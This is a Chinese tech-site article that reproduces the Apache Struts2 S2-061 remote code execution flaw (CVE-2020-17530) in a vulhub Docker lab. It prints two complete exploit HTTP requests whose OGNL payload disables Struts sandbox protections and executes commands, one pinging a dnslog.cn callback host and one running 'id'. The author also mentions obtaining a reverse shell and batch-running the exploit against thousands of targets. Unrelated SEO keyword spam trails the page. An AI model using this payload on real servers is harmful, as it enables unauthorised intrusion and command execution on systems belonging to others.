千家信息网

怎么进行Struts2 S2-061 远程命令执行漏洞CVE-2020-17530复现

发表于:2026-10-31 作者:千家信息网编辑
千家信息网最后更新 2026年10月31日,怎么进行Struts2 S2-061 远程命令执行漏洞CVE-2020-17530复现,相信很多没有经验的人对此束手无策,为此本文总结了问题出现的原因和解决方法,通过这篇文章希望你能解决这个问题。St
千家信息网最后更新 2026年10月31日怎么进行Struts2 S2-061 远程命令执行漏洞CVE-2020-17530复现

怎么进行Struts2 S2-061 远程命令执行漏洞CVE-2020-17530复现,相信很多没有经验的人对此束手无策,为此本文总结了问题出现的原因和解决方法,通过这篇文章希望你能解决这个问题。

Struts2 S2-061 远程命令执行漏洞复现

一、漏洞简介

Apache Struts2框架是一个用于开发Java EE网络应用程序的Web框架。Apache Struts于2020年12月08日披露 S2-061 Struts 远程代码执行漏洞(CVE-2020-17530),在使用某些tag等情况下可能存在OGNL表达式注入漏洞,从而造成远程代码执行,风险极大。

二、影响版本

Apache Struts 2.0.0 - 2.5.25

三、漏洞复现

docker环境地址:

项目地址:

https://github.com/vulhub/vulhub/tree/master/struts2/s2-061

拉去镜像启动环境:

docker-compose up -d

访问目标地址:

http://192.168.1.107:8080/

执行DNSlog验证漏洞:

POST/index.actionHTTP/1.1Host: 192.168.1.107:8080Accept-Encoding: gzip, deflateAccept: */*Accept-Language: enUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36Connection: closeContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryl7d1B1aGsV2wcZwFContent-Length: 846------WebKitFormBoundaryl7d1B1aGsV2wcZwFContent-Disposition: form-data; name="id"%{(#instancemanager=#application["org.apache.tomcat.InstanceManager"]).(#stack=#attr["com.opensymphony.xwork2.util.ValueStack.ValueStack"]).(#bean=#instancemanager.newInstance("org.apache.commons.collections.BeanMap")).(#bean.setBean(#stack)).(#context=#bean.get("context")).(#bean.setBean(#context)).(#macc=#bean.get("memberAccess")).(#bean.setBean(#macc)).(#emptyset=#instancemanager.newInstance("java.util.HashSet")).(#bean.put("excludedClasses",#emptyset)).(#bean.put("excludedPackageNames",#emptyset)).(#arglist=#instancemanager.newInstance("java.util.ArrayList")).(#arglist.add("ping p0fai2.dnslog.cn")).(#execute=#instancemanager.newInstance("freemarker.template.utility.Execute")).(#execute.exec(#arglist))}------WebKitFormBoundaryl7d1B1aGsV2wcZwF--

DNGlog记录

访问抓包执行exp 命令执行id

POST/index.actionHTTP/1.1Host: 192.168.1.107:8080Accept-Encoding: gzip, deflateAccept: */*Accept-Language: enUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36Connection: closeContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryl7d1B1aGsV2wcZwFContent-Length: 827------WebKitFormBoundaryl7d1B1aGsV2wcZwFContent-Disposition: form-data; name="id"%{(#instancemanager=#application["org.apache.tomcat.InstanceManager"]).(#stack=#attr["com.opensymphony.xwork2.util.ValueStack.ValueStack"]).(#bean=#instancemanager.newInstance("org.apache.commons.collections.BeanMap")).(#bean.setBean(#stack)).(#context=#bean.get("context")).(#bean.setBean(#context)).(#macc=#bean.get("memberAccess")).(#bean.setBean(#macc)).(#emptyset=#instancemanager.newInstance("java.util.HashSet")).(#bean.put("excludedClasses",#emptyset)).(#bean.put("excludedPackageNames",#emptyset)).(#arglist=#instancemanager.newInstance("java.util.ArrayList")).(#arglist.add("id")).(#execute=#instancemanager.newInstance("freemarker.template.utility.Execute")).(#execute.exec(#arglist))}------WebKitFormBoundaryl7d1B1aGsV2wcZwF--

简单的python脚本验证执行:

也可成功执行反弹shell获取:

批量跑了几千条成功的少:(可能默认的index还有路径不对)后面再研究一下。

四、安全建议

将Apache Struts框架升级至最新版本。

看完上述内容,你们掌握怎么进行Struts2 S2-061 远程命令执行漏洞CVE-2020-17530复现的方法了吗?如果还想学到更多技能或想了解更多相关内容,欢迎关注行业资讯频道,感谢各位的阅读!

漏洞 命令 地址 框架 成功 代码 内容 方法 更多 版本 环境 问题 验证 不对 安全 束手无策 为此 原因 对此 应用程序 数据库的安全要保护哪些东西 数据库安全各自的含义是什么 生产安全数据库录入 数据库的安全性及管理 数据库安全策略包含哪些 海淀数据库安全审计系统 建立农村房屋安全信息数据库 易用的数据库客户端支持安全管理 连接数据库失败ssl安全错误 数据库的锁怎样保障安全 北京路客互联网科技有限公司 互联网中国科技 互联网科技金融 互联网科技公司电话 成都互联网科技公司 时间互联网络科技 齐家互联网科技有限公司 成都狮子座互联网科技 中国互联网金融科技基金 中盈科技互联网信息有限公司 欧洲十大科技互联网公司 字节跳动和互联网科技 互联网对科技的发展 中国互联网十大科技股排名 银川新华互联网科技学校联系电话 河南住房之家互联网科技 互联网公司黑科技创始人 中和天地互联网科技有限公司 怎样加入科技互联网 唐山双旺合互联网科技产业园 广州紫鲸互联网科技有限公司 互联网科技卖菜 互联网科技的英文 太原新华互联网科技学校怎么样 深圳互联网科技怎么样 老年人脱离互联网科技的作文 开一家科技互联网公司需要多少钱 乌鲁木齐新华智原互联网科技学校 盐城市攀科互联网科技有限公司 科技互联网企业在行动
0